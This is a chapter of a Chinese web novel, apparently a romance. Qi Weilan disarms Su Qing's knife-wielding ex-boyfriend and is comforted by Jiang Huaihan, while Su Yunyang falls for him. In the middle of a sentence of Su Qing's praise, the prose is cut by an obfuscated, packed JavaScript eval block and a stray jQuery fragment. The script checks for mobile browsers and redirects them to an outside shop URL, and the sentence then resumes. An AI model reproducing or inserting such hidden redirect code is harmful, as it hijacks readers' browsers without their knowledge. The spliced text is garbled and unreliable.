戚危阑皱着眉,额前过长的碎发遮挡住了嫌恶的眼神,整个人多了几分阴郁。
他干净利落地抬脚踢掉吴荣握在手里的刀,不等他开口骂脏话,又迅速补上一脚,快准狠地踹在他的腹部,把人踹得往后踉跄几步,撞倒了身后的一大片桌椅。
场面一片狼藉,吴荣狼狈躺在地上,疼的直叫唤。
焦灼紧张的氛围解除,周围的人群看呆几秒后爆发出一波喝彩声。
“小兄弟,好身手!”
吴荣爬起身来,一摇一晃的往前走了几步,面目狰狞地发出嘶哑声音。
“你又是谁在这里多管闲事?!这个臭婊子背着我在外面找的人?我就说她怎么敢这么硬气的拒绝我,原来是早就找到了接盘的下家。”
戚危阑不欲同这种渣滓废话,听他说完后眼底瞬间凝了一层愠色,嘴角不自觉向下撇。
遇到这种人,阿晴姐真的是倒大霉了。
“没有我,她也会毫不犹豫拒绝你这种垃圾。她不是任何人的依附品,也不需要找谁帮忙,她会独立思考,才能认清并远离你。”
戚危阑礼貌地回复掉他所有的话,堵得他再也放不出一个屁。
眼见在口舌上不能称快,赢不了对方,吴荣歹心又起,想蹲下身去捡起伸缩刀。
却不料想,他每一个细微的动作都被戚危阑看在眼里,无处遁形。
戚危阑低下头,眼中闪过一抹冷光。
吴荣的手刚要触到地上的刀,戚危阑瞬间沉下重心,左腿作支撑,右腿贴近地面如同快鞭一般扫出,狠狠扫向吴荣的脚踝,让他重心骤失,向前栽倒。
戚危阑则顺着扫腿的惯性,俯身探手,指尖先一步扣住刀柄,手腕翻转,将刀稳稳攥在掌心。
整套动作一气呵成,仅在一个鼻息之间,吴荣被重重绊倒在地,脖颈上架着冰冷的刀刃。
等他缓过摔倒的眩晕清醒后,看着距离极近的锋利刀锋,被吓得全身发怵,大气也不敢出,依旧死撑面子大胆发言。
“你,你想干嘛!你要杀人吗?!”
“等你不在的时候,我总有办法报复那个死女人!!让她不得好死!”
他的视线离开刀锋,终于注意到比刀更危险的,是戚危阑居高临下看死人的眼神。眼底是不加掩饰的,不似常人的疯狂。
“你想报复谁?伤害谁?”
戚危阑的语调没有起伏,在吴荣眼里却如同阎罗发话。
他吓得咽了咽口水,在地上摊成一摊烂泥,哭着大喊大叫。
“我错了,真的……小晴!小晴,我错了,你快劝劝这个……这个大哥……”
苏晴也被面前这幅景象震惊到瞪大眼睛,她一边大骂着傻逼活该,一边试图把戚危阑拉起身来。
“你这个大脑没发育的智力障碍物,离我们家小戚远一点!别吓坏我们家弟弟!”
苏晴使出吃奶的劲儿,却发现自己拽动不了分毫这个看似瘦弱的男生。
他似乎沉浸在自己的世界,直直地盯着面色惨白的吴荣,深棕色的瞳孔一片空茫,呈现出非人感。
吴荣不敢再戚危阑对上视线,哭爹喊娘后破口大骂。
“疯子!他是真的疯子!”
戚危阑听不见这歇斯底里的声音一般,持着刀的手丝毫没动,喃喃道。
“坏人,无耻……”
苏晴听到后更加着急,这场面看起来像是真把孩子给吓到了,她一边无法安抚戚危阑,一边气急地使劲踹着吴荣。
在她一筹莫展之时,又有人脚步匆匆从层层人群中挤了进来。
是江淮寒。
他手里抓着手机,屏幕亮着,显然是在赶来的路上反复确认消息。浅色衬衣的袖口随意挽起,露出线条紧实、充满力量的小臂,被风吹乱的头发和稍显凌乱的衣摆,无不昭示着他内心的不平静。
他无视戚危阑周身未散的危险气息,快步上前蹲下身,将他稳稳揽入怀中。
一只手轻按在他后脑,让其靠在自己的胸口,一只手覆上他持刀的手,一点点引导他卸去紧绷的力道。
“没事了,危阑。”戚危阑清楚感受到他说话时的胸腔震动,耳下心跳又沉又快,声音却轻如羽毛,“放轻松,我在。”
原本还杀气腾腾的戚危阑,瞬间松下了劲。乖顺得像认了主的小玩偶,任江淮寒摆弄。
江淮寒单手扶着他的腰身带他站起来,拍拍他身上沾到的灰,一个巧劲把他手里的刀扔得远远的。
吴荣一脸的鼻涕泪水,庆幸地以为自己得救了,正想偷偷爬走离开。
下一秒,一个男大学生面带怒火,拨开人群冲到他面前,上来就是狠狠的一脚,把他踹翻在地,止不住的哀嚎。
“王八蛋,就是你欺负我妹妹是吧?”
苏晴在一旁举旗呐喊助威,语气忿忿。
“对!就是他!人面兽心花言巧语招摇撞骗目中无法,还吓坏了我们家小戚。苏云阳你给我狠狠揍他。”
苏云阳听见后动作一顿,目光掠过被人揽在怀里轻哄的戚危阑,落在鼓起脸颊的苏晴身上,皮笑肉不笑。
“等我收拾完他,我再好好教育你。”
苏晴心虚的缩了缩脖子,谈恋爱瞒着她哥这件事情确实不太地道。
而在接到报警电话后,警察很快赶到,从苏云阳脚下带走了看见他们眼睛放光的吴荣。
他缩成一团烂泥,颤颤巍巍地伸出手,鼻青脸肿,模样滑稽。
“警察叔叔,快把我带走,我要被他们打死了。”
已经了解过前因后果的警察没有发表任何言论,挡了一下还想冲上来暴揍的苏云阳,动作不太温柔的押着吴荣带上警车,又迅速疏散周围人群。
在江淮寒怀中的戚危阑感受到了外界的骚乱都平息后,混沌的大脑才慢慢清醒,看清现在的处境,瞬间屏住呼吸。
他的脸隔着一层薄薄的衬衣布料,紧挨在江淮寒柔韧的胸肌上,紧实有力的手臂环绕在他的腰身上,一只手还在温柔地自上而下抚摸他的脊背。
戚危阑咽了咽口水,脸以肉眼可见的速度爆红,呼吸都带着发烫的羞赧情绪。
他悄摸摸的想撤开距离,自以为动作不易察觉,却被人尽收眼底,坏心眼的用手一把捏住后脖颈,轻轻摩挲。
酥麻感一瞬间窜上大脑,他全身发麻僵在江淮寒怀里,咬住下唇避免发出声音,老老实实不敢再动。
*
直到苏晴与警察沟通补做笔录后,飞扑过来查看戚危阑状况时,江淮寒才把人从自己怀里扒拉出来。
“小戚啊,你没事吧?那个神经病没有伤到你吧?”苏晴蹙起一双秀气细眉,眼里是全然的担心。
戚危阑先是一怔,随即低垂着眉眼,好似犯错惹祸的小猫,不敢直视她的眼睛,视线落在那柄被丢远的小刀上,指尖不自觉地蜷了蜷。
“对不起……”
对不起,吓到了你。
苏晴听着他低声的道歉有些惊诧,顺着他的视线看了过去,一瞬间明白他在想什么,鼻尖一酸。
她扬起笑容,尝试着去拉戚危阑的手。男生条件反射般的想往后撤,却又呆在原地没动,任凭自己微微发颤的手被温柔拉起,手心里被放置了一枚金属小奖章,是隔壁精品店最热销的款式。
“店长姐姐走之前,告密了你去给我买奶茶啦。”
“这枚小奖章是送给你的,谢谢你总是悄咪咪的关心我,虽然总是在做了好事之后躲起来,但是每次都被我发现啦。”
手心里的金属奖章,逐渐被体温捂热,原本冷硬的触感缓缓消融,变成一片温温热热的存在。
戚危阑眨眨眼睛,暖意像一股小溪,顺着血管脉络流淌,轻轻漫进心里。
“小戚超厉害的,是你勇敢站出来保护了我。你才不是那个渣滓嘴里的疯子,根本不用怕会伤害别人,你是一只会收着指甲的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17004109|193989||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
乖小猫。”
苏晴眼里满是毫无掺假的真诚,绞尽脑汁地去表达和形容心中的感受,语气柔软得和幼儿园老师相差无二。
戚危阑试探地抬眼望去,触及到一片真诚后,眼里重新聚起星星点点的光。
江淮寒在旁边不动声色的看着,未发一言,手臂依旧松松的环绕着戚危阑,在他察觉不到的同时,微妙表示主权。
苏云阳处理完与警方的收尾工作后走过来,深呼吸一口气,狠狠地给了苏晴一个爆栗。
“你真是能耐了,背着你哥在外面谈了个臭王八精神病不可回收垃圾。”
“我可忍不了,一定要告诉家里,扒了那个人渣一层皮。”
他咬牙切齿的说着,手上却不见得使了多大劲。
归根到底是心疼自己这个一腔热血的傻妹妹。
在苏晴装作吃痛露出可怜兮兮的表情时,他也就叹气收手,转过身面向戚危阑认真的道谢,依旧一阵后怕。
“多谢你了,小七。没有你的话,真不知道会发生什么……”
戚危阑正在偷偷把奖章努力塞进自己容量不大的口袋里,闻言抬头回视这个大高个,冷酷的摇摇头。
在他微微抬头的瞬间,一整张小脸从过长的头发里露了出来。
圆乎乎却眼尾上扬的猫眼,卷翘而纤长的睫毛,眼瞳像碎钻一般清亮,抬眼时带了几分疏离的冷郁。
更衬得眼下红痣夺人心魄。
这张和记忆里等比例放大的脸,猝不及防地闯进苏云阳的眼里。
在看清了这张脸的一瞬间,他终于抓住了那似有若无的熟悉感觉。
他猛地屏住呼吸,心跳漏拍的感觉太过明显,炙热的目光不受控的黏在对方身上,看着看着,耳尖也跟着发烫,热度一路从脸颊烧到脖颈。
意识到自己的看呆有多么明显后,他狼狈地低下头,而大脑开始兴奋的回放每一个与眼前人相关的记忆节点。
其实在咖啡馆窗户外的惊鸿一瞥,看见对方在惊险时刻的出手凌厉,在动作间的神秘危险……他就已经被不由自主的吸引,还隐隐约约感到似曾相识的熟悉。
但对妹妹的担心胜过了一切,他当时压下涌上心间的奇怪情绪。
直到此刻,发现,心动也有滞后性。
重逢的复杂情绪像洪水一般涌来,让他极速跳动的心脏沉甸甸的。
原来,他已经变成这副模样,和当初变化不大,依旧眼睛清亮,依旧好看得让人挪不开眼……
依旧这么好,救下了苏晴,这一切像是命运中的冥冥注定。
话说……
对妹妹有救命之恩,哥哥可以以身相许吗?
苏云阳垂着眼胡思乱想着,脸颊的绯红愈演愈烈,藏不住二十岁的少男心事。
可一抬头,发现人早已经没了影,自己的傻妹妹正美滋滋抱着奶茶,冲着门外挥手告别。
他慢吞吞地挪动到苏晴身边,巴巴地望了一会,收回目光后满脸羞涩地开口。
“苏晴,帮我个忙呗。”
苏晴看清他的模样后,被吓得噔噔噔往后退了几步。
“?苏云阳你正常一点,你这样我害怕。”
她小心翼翼的试探问。
“你要干吗?”
“我想……帮你报恩。”
*
走在小区里的戚危阑突然打了个喷嚏,让紧紧牵着他手快步往家赶的江淮寒停住,转过身冷着脸检查他身上的衣物数量,最后长臂一伸,把人往自己怀里揽。
“哥哥,你在生气吗?”
戚危阑一边瞅着江淮寒的表情,一边小心的问,平淡的语气莫名可怜兮兮。
江淮寒压住他不安分向上抬的小脑袋,声音沉沉。
“是,危阑根本就不在意我,遇到危险了也想不起我,一个劲的往前冲。”
“我很生气。”
“所以,我会好好惩罚你。”